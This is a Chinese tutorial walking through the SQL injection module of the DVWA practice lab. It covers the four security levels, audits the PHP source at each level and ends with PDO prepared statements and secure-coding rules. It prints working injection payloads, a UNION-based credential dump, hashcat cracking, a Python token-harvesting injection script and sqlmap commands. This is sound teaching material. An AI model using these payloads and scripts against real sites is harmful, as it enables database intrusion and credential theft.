ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

DVWA靶场SQL注入通关:从字符型注入到PDO预处理实战解析

DVWA靶场SQL注入通关:从字符型注入到PDO预处理实战解析 刷DVWA靶场是很多学Web安全的人都会做的一件事。我第一次刷到SQL Injection模块的时候其实是有点不屑的——不就是输入框里加个单引号试试吗后来为了搞懂Medium和High这两个级别为什么“烦人”我不得不回头把源码一行一行读了一遍才真正理解SQL注入这条链路上每一个防御手段到底卡在哪里。DVWADamn Vulnerable Web Application是本地漏洞靶场里最经典的一个SQL Injection模块从低到高分为Low、Medium、High、Impossible四个级别正好对应了从“完全裸奔”到“教科书级防御”的四种代码写法。这篇文章我就按自己的通关顺序把每个级别怎么测、为什么能打、源码问题在哪、踩了哪些坑完整走一遍。适合刚接触SQL注入的初学者也适合那些一直用工具一把梭、想补一补基本功的人。1. 环境准备为什么我推荐Docker方式搭建DVWA靶场1.1 三种主流搭建方式对比DVWA靶场的搭建方式网上搜一下就能找到一堆教程常见的有三种原生LAMP、XAMPP、Docker。三种我都试过简单说一下优劣方式安装难度启动速度适合场景原生LAMP中等偏难较慢想顺便练Linux环境搭建的人XAMPP低中等Windows用户、不想折腾环境的人Docker很低最快推荐所有人用原生LAMP需要自己装Apache、MySQL、PHP还得处理版本兼容问题DVWA对PHP版本有要求版本太高太低都会出幺蛾子。XAMPP在Windows下确实省事一键启动Apache和MySQL然后把DVWA源码丢到htdocs目录就行但遇到端口占用、MySQL服务没起来这类问题对新手也是一道坎。我最推荐的还是Docker。它把整套环境封装在容器里拉下来就能跑不会搞乱你本机的环境靶场玩坏了直接删容器重建几分钟搞定。对只想专注学SQL注入的人来说把时间花在环境搭建上不划算。1.2 Docker搭建DVWA完整命令实操用Docker搭建DVWA命令非常简单核心就两步# 拉取DVWA官方镜像 docker pull vulnerables/web-dvwa # 启动容器把容器80端口映射到本机8080 docker run -d -p 8080:80 vulnerables/web-dvwa启动后在浏览器访问http://localhost:8080默认登录账号是admin密码是password。如果你习惯用Docker Compose也可以写一个最简单的docker-compose.ymlversion: 3 services: web: image: vulnerables/web-dvwa ports: - 8080:80 restart: always然后执行docker-compose up -d即可。如果是Kali Linux用户我更推荐用Docker而不是直接装到系统里因为Kali本身自带了Apache和MySQLDVWA的默认配置很容易和本机服务产生端口冲突。提示vulnerables/web-dvwa这个镜像的解压和初始化需要一点时间如果打开页面一直转圈多等几秒再刷新。1.3 数据库初始化与常见启动问题首次访问DVWA页面时会看到一个Install界面需要点击页面底部的Create / Reset Database按钮它会自动创建数据库和数据表。初始化完成后再跳转到login.php用admin/password登录。这个过程中有几个高频问题我列一下连接数据库失败如果是Kali或者独立服务方式搭建最常见的原因是MySQL没有启动需要先执行sudo systemctl start mysql。Docker方式一般不存在这个问题。端口被占用本机80端口被其他程序占用时把Docker端口映射换成8080即可不影响使用。PHP版本不兼容如果使用的是比较新的镜像PHP版本通常没问题。如果是手动搭建PHP 7.x和8.x对DVWA旧版的兼容性差异很大遇到报错建议先看php.ini里的错误显示通常调整display_errors就能看到具体原因。登录不进去检查是否成功初始化了数据库必要时在首页重新点一次Create / Reset Database。我在XAMPP时期最惨的一次是MySQL端口3306被一个残留进程占住起名为mysqld但死活连不上折腾了大半天才发现是以前装过的MySQL残留服务。换了Docker以后这类环境问题基本绝迹了。2. SQL注入核心原理从一条SQL语句说起2.1 一次SQL查询的完整执行过程在动手之前先花两分钟搞清楚SQL查询是怎么工作的。DVWA的SQL Injection模块里应用执行的核心查询是这样的SELECT first_name, last_name FROM users WHERE user_id 1;这条语句在MySQL中的执行过程大致分四步词法分析把语句拆成“关键字”“字符串”“数字”等元素语法分析检查语句是否可以解析优化器生成执行计划最后存储引擎根据计划读取数据并返回结果。这里最关键的是第一步和第二步。如果应用把用户输入直接拼进这条SQL里那用户输入的内容就不是“参数”了而是SQL语句的一部分会被词法分析和语法分析当成代码来理解。2.2 注入的本质打破开发者预设的语句结构拿DVWA的Low级别举例开发者在代码里写了这样一句$query SELECT first_name, last_name FROM users WHERE user_id $id;;$id是用户输入的内容拼进去之后这条SQL的“骨架”就变成了查询用户表中满足user_id 某个值的记录。攻击者要做的事情就是让这个“某个值”包含额外SQL逻辑从而改变整条查询的意图。一个最经典的payload1 or 11拼进SQL后语句变成SELECT first_name, last_name FROM users WHERE user_id 1 or 11;or 11永远为真于是WHERE条件对整个表都成立查询返回所有用户记录。打个生活化的比方正常流程像是你输入一个快递取件码柜门打开。但如果系统直接把输入拼进开柜指令你输入“取件码或全部打开”这种内容时指令就变质了所有柜门都可能被打开。2.3 判断注入点类型的三板斧拿到一个注入点先别急着用工具手工判断一下到底是什么类型的注入后面会省很多事。我自己的三板斧是这样的第一板斧输入单引号。如果页面出现SQL语法错误说明单引号进入了SQL语句结构存在字符串注入点。第二板斧真与假对比。输入1 and 11页面正常换1 and 12页面异常或空白。两种情况不同注入点基本确认。第三板斧区分字符型和数字型。如果数字型注入根本不需要闭合单引号直接输入1 and 11和1 and 12做对比就能判断。字符型和数字型在SQL写法上的区别是类型SQL写法闭合方式典型测试payload字符型WHERE user_id $id需要用单引号闭合1 or 11数字型WHERE user_id $id不需要闭合引号1 or 11记住这个区别到了Medium级别你会感谢自己的。3. Low级别裸拼SQL语句的入门关3.1 LOW源码审计先看DVWA的Low级别源码路径在vulnerabilities/sqli/source/low.php?php if( isset( $_REQUEST[ Submit ] ) ) { // Get input $id $_REQUEST[ id ]; // Check database $query SELECT first_name, last_name FROM users WHERE user_id $id;; $result mysqli_query( $GLOBALS[___mysqli_ston], $query ) or die( pre . mysqli_error($GLOBALS[___mysqli_ston]) . /pre ); } ?核心问题就两个词直接拼接、没有过滤。$_REQUEST[id]原封不动进SQL字符串这是SQL注入最原始、也最残忍的写法。你输入什么SQL就执行什么。3.2 经典Payload单引号报错与or 11验证Low级别的通关过程本质上是体验一次教科书级的字符型注入。第一步先在页面输入框里输入1点Submit页面显示用户ID存在并返回first_name和last_name。第二步输入一个单引号1页面会直接报错类似You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version这个报错说明单引号没有被过滤已经进入了SQL语句结构。接着验证真与假1 and 11页面正常说明SQL能解析。再把条件改成永远为假1 and 12页面空白或无结果说明查询条件生效。到这里注入点已经实锤。然后来点刺激的直接让查询返回所有用户1 or 11由于条件和恒真页面会返回第一条用户记录。DVWA页面上只显示其中一条记录的信息要看全部数据还得靠联合查询。3.3 联合查询注入获取完整用户数据联合查询UNION SELECT是SQL注入里最常用的数据获取手段原理是把原查询结果和注入的SELECT结果合并。但有个硬性要求UNION后面的字段数必须和原查询一致。所以要做的第一件事是判断字段数1 order by 2#页面正常说明原查询至少有2个字段。1 order by 3#页面报错说明原查询只有2个字段。第二步确定字段回显在页面哪个位置。先把前面的id改成一个不存在的值保证UNION部分能显示出来0 union select 1,2#页面上会显示1和2说明两个字段都能回显。接下来就可以把敏感信息填到字段位置上了。先看数据库名和当前用户0 union select database(), user()#页面会显示dvwa和rootlocalhost。再通过information_schema查表名0 union select table_name, 2 from information_schema.tables where table_schemadvwa#查出users表后查users表的字段名0 union select column_name, 2 from information_schema.columns where table_nameusers#最后直接拖数据0 union select user, password from users#这时页面上能看到所有用户名和密码哈希。DVWA里默认用户的密码是MD5加密的比如admin的密码哈希是5f4dcc3b5aa765d61d8327deb882cf99对应明文password。拿到哈希以后破解方式有两种在线平台直接查或者本地用hashcat跑字典hashcat -m 0 hash.txt rockyou.txt-m 0表示MD5。Low级别就这么结束了全程没有任何阻碍原始SQL拼接的威力可见一斑。4. Medium级别绕过转义数字型注入的关键一战4.1 MEDIUM源码审计Medium级别开始上防御了还是先看源码路径在vulnerabilities/sqli/source/medium.php?php if( isset( $_POST[ Submit ] ) ) { // Get input $id $_POST[ id ]; $id mysqli_real_escape_string( $GLOBALS[___mysqli_ston], $id ); // Check database $query SELECT first_name, last_name FROM users WHERE user_id $id;; $result mysqli_query( $GLOBALS[___mysqli_ston], $query ) or die( pre . mysqli_error($GLOBALS[___mysqli_ston]) . /pre ); } ?这个级别的变化有三个加了mysqli_real_escape_string把单引号、双引号、反斜杠等特殊字符做了转义。提交方式从原来的REQUEST变成POST。最关键的一点SQL语句中$id两边的单引号没了变成了WHERE user_id $id。这三个变化里第三点是致命伤。4.2 数字型注入的利用很多人到Medium级别就卡住了因为输入 or 11#之类带引号的payload页面要么报错要么直接无结果。原因很简单单引号被mysqli_real_escape_string转义成\它只是字符串里的一个普通字符根本没有“逃出”字符串边界的机会。那为什么还能注入因为mysqli_real_escape_string处理的是字符串上下文中的特殊字符而Medium的SQL语句里$id连引号都没加开发者写了一个数字型查询。输入1 or 11时里面没有单引号、没有反斜杠、没有需要转义的特殊字符拿到MySQL里直接被当成SQL逻辑执行了。打个比方转义函数是给木门加了一把防盗锁但开发者给的是一扇纸板门锁加得再牢一戳就破。在Medium级别直接在页面输入框提交这几条payload就能通1 or 11页面正常返回说明注入点存在。0 union select user, password from users页面直接显示所有用户名和密码哈希。注意前面用0而不是1因为如果先查询到一个存在的用户UNION的结果会被覆盖。Medium级别最值得学习的就是这个点防御工具选对了但没选匹配的位置。转义函数防字符型注入确实有效但对数字型注入完全无效。4.3 实际通关体验与源码启发我在Medium级别最大的一条经验是拿到注入点第一件事判断注入类型比急着找payload更重要。如果这里我还照着Low级别的思路输入1 or 11#只会一直被转义挡在外面然后误以为“这关offset修好了”。这个级别也说明了一个常见开发误区以为用了转义函数就安全了。转义函数解决的只是字符串注入问题真正的解法是参数化查询而不是“给数据库操作加层布”。注意Medium是POST提交浏览器地址栏不会显示id参数。如果用Burp Suite抓包POST数据里会有id1SubmitSubmit。直接操作页面输入框完全没问题但如果你习惯改URL参数去测在这个级别会一直没反应。5. High级别CSRF Token与LIMIT 1的双重考验5.1 HIGH源码审计High级别是思维上一个比较大的跨越先看源码?php if( isset( $_GET[ Submit ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ user_token ], $_SESSION[ session_token ], index.php ); // Get input $id $_GET[ id ]; // Check database $query SELECT first_name, last_name FROM users WHERE user_id $id LIMIT 1;; $result mysqli_query( $GLOBALS[___mysqli_ston], $query ) or die( pre . mysqli_error($GLOBALS[___mysqli_ston]) . /pre ); } ?High级别相比Medium又加了三个防御点引入Anti-CSRF Token验证每次请求必须携带user_token否则直接拒绝。$id重新被单引号包裹恢复为字符型注入。查询语句后面加了LIMIT 1限制返回记录数。这三种防御组合起来确实会让很多“一把梭”的自动化工具失效因为工具如果没有处理Token请求会被持续拦截。5.2 获取Token并构造请求在DVWA页面的HTML源码中可以看到这样一个隐藏字段input typehidden nameuser_token valuexxxxxxxx这个值每次刷新页面都会变化服务端session里也存了一份请求时必须完全一致。你在页面上直接操作时不用管它因为表单会自动携带但如果你想用Burp Suite Repeater手工构造请求就必须先请求一次页面从HTML里把Token提取出来再带到下一个请求里。我当时图省事直接用Python写了一个小脚本模拟“先获取Token再注入”的完整过程import requests import re base_url http://localhost:8080/vulnerabilities/sqli/ cookies { PHPSESSID: 你的sessionid, security: high } # 第一次请求拿到页面里的user_token resp requests.get(base_url, cookiescookies) token re.search(rnameuser_token value(\w), resp.text).group(1) # 构造注入payload params { id: 1 or 11#, user_token: token, Submit: Submit } resp2 requests.get(base_url, paramsparams, cookiescookies) print(resp2.text)这个脚本跑通后你就理解了High级别真正的门槛其实不是SQL注入本身而是CSRF Token造成的“自动化成本”。它迫使攻击者每次请求前先做一步“页面交互”批量盲注的效率被大幅压低。5.3 注释符的选择#与-- 的区别High级别加了LIMIT 1这让payload必须“注释”掉后面的内容。注释符有两个选择我分别说一下#MySQL行注释符。但在URL传参时#会被浏览器当作锚点不会发送到服务端所以需要URL编码为%23。--SQL标准注释符但--后面必须要跟一个空格在URL中空格要编码为%20或。对应的编码后payload是id1%27%20or%201%3D1%23 id1%27%20or%201%3D1--我在实际测试中更习惯用#因为它不用管空格的问题但一定记得编码成%23。5.4 高难度注入Payload组合验证High级别的注入方式本质上回到了Low级别的字符型注入但多了LIMIT限制。完整payload组合可以这样打闭合单引号并注释掉LIMIT实现无条件查询1 or 11#联合查询获取所有用户名和密码1 union select user, password from users#这里有个细节如果不注释掉LIMIT 1即使UNION查出多条记录也会被LIMIT掐掉只能看到一条。这也是为什么High级别专门强调注释符的原因。如果想用sqlmap打High级别命令是这样的sqlmap -u http://localhost:8080/vulnerabilities/sqli/?id1user_tokenxxxSubmitSubmit --batch --csrf-tokenuser_token --csrf-urlhttp://localhost:8080/vulnerabilities/sqli/--csrf-tokenuser_token告诉sqlmap从响应中提取名为user_token的字段值--csrf-url指定获取Token的页面。但我个人建议先手工把Token流程走通再来用工具这样你才知道工具背后到底替你做了什么。6. Impossible级别PDO预处理后的源码启示6.1 IMPOSSIBLE源码审计最后一个级别看源码?php if( isset( $_GET[ Submit ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ user_token ], $_SESSION[ session_token ], index.php ); // Get input $id $_GET[ id ]; // Was a number entered? if(is_numeric( $id )) { // Check the database $data $db-prepare( SELECT first_name, last_name FROM users WHERE user_id (:id) LIMIT 1; ); $data-bindParam( :id, $id, PDO::PARAM_INT ); $data-execute(); $row $data-fetch(); } } ?这个级别终于用上了真正能彻底防御SQL注入的手段is_numeric强制校验非数字直接不进入查询。使用PDO预处理语句SQL骨架先发给数据库编译。bindParam绑定参数显式声明参数类型为PDO::PARAM_INT。保留CSRF Token验证。这套组合拳下来无论你输入什么在数据库层都只是“参数值”无法再影响SQL语句结构。6.2 参数化查询为什么能免疫SQL注入PDO预处理语句的工作原理和字符串拼接有本质差别。在字符串拼接方式下比如Low级别的写法MySQL收到的是最终拼好的完整SQL需要对整段文本做词法分析和语法分析。用户输入已经混入其中所以那些“编外SQL”有机会被执行。而PDO预处理是这样的SELECT first_name, last_name FROM users WHERE user_id :id;这条带占位符的SQL会先被发送到MySQL服务端进行预编译。此时:id只是一个占位符不代表任何用户数据。之后执行时bindParam把$id的值作为纯净数据传给预编译语句MySQL直接把值填入占位符位置不再重新解析SQL语法。仍然用快递柜类比Low级别是把你想输的内容直接拼进开柜指令你输入“全部打开”就真的全开了Impossible级别是先验证取件码格式再把数值作为编号查询无论你怎么注入最后只能查到对应的一个编号想改变开柜逻辑本身是不可能的。6.3 从Impossible代码总结安全编码规范看完Impossible级别的源码可以提炼出一套实战可用的SQL安全基线所有数据库操作使用PDO预处理或ORM禁止字符串拼接SQL。动态SQL必须使用命名占位符或问号占位符配合显式参数绑定。输入进入库操作前做严格类型校验数字型就用is_numeric之类。应用层必须加CSRF Token提升自动化利用门槛。数据库账号按最小权限原则分配DBA和普通查询账号分开。关闭SQL错误回显把错误信息写日志而不是抛给终端用户。定期用工具扫描代码里的$query拼接点着重审查“看起来无害但实际可输入”的变量。面试中如果被问到“你如何防御SQL注入”以上几条比背名词要有说服力得多。7. 踩坑实录刷DVWA时最常卡的五个位置7.1 High级别一直提示Invalid token我在High级别第一次用Burp Suite的时候卡了快半个小时页面一直提示CSRF token is incorrect。后来才明白问题出在Token的时效性上。我是先访问页面抓包拿了当时的Token然后又改包发送请求。但DVWA页面刷新一次Token就变一次我之前抓到的Token已经“过期”了。解决思路很简单每次构造请求前先重新GET一次页面提取最新Token再带着这个Token去POST或GET注入payload。这也是用脚本比手改Burp效率高的原因脚本可以自动完成“提取→请求→再提取→再请求”的循环。7.2 Medium级别为什么绕不过去有朋友问我Medium级别输入1 or 11一直报错是不是注入点不存在不是。是因为mysqli_real_escape_string把单引号转义成了\你输入的单引号只是字符串内容中的一部分无法断开SQL语句。但输入1 or 11就能成功因为这种数字型注入不依赖引号闭合。这个坑基本是判断注入类型没做好的结果所以我反复强调拿到一个注入点先测字符型和数字型别拿着Low级别的payload到处套。7.3 数据库版本与SQL语法差异DVWA默认跑在MySQL或MariaDB上但不同版本的information_schema结构有差异。在某些MySQL 8.0环境下table_schemadatabase()的查询可能和旧版本表现不同。排查方法把大payload拆成小块先用database()确认库名再查表再查字段不要一次性写一个巨长的UNION查询出了问题不好定位。7.4 自动化工具与流量特征sqlmap在Low级别确实能一把梭sqlmap -u http://localhost:8080/vulnerabilities/sqli/?id1SubmitSubmit --batch但到了High级别不加--csrf-token参数就会一直提示Token错误。工具本身没问题问题是工具不知道你的Token从哪里来。还有一点sqlmap会产生大量探测请求流量特征很明显靶场里随便玩真实环境里这种行为会被WAF或IDS直接拦下来。所以先会手工注入再用工具提速是更合理的学习路径。7.5 我刷完四个级别的真实体会从Low到Impossible这四关其实串起来就是一条完整的攻防演化路线。Low是过去很多老代码的真实写照SQL语句裸拼谁碰谁穿。Medium代表了一类“用了过滤但没过脑子”的防御转义函数不是万能钥匙用错位置等于白用。High终于让我意识到真实场景里影响漏洞利用的往往不只是SQL本身还有CSRF Token这类非SQL的防御因素它们能显著抬高自动化攻击的成本。Impossible则是把“数据与代码分离”这条原则落到了实处参数化查询加类型校验SQL注入基本无路可走。我自己刷完这四关之后再去看公司内部代码里那些“查个ID就拼SQL”的写法感觉完全不一样了能一眼看出问题在哪。DVWA虽然只是个靶场但它把这条攻防链路讲得非常完整值得你花一个下午认认真真手工走一遍。
返回列表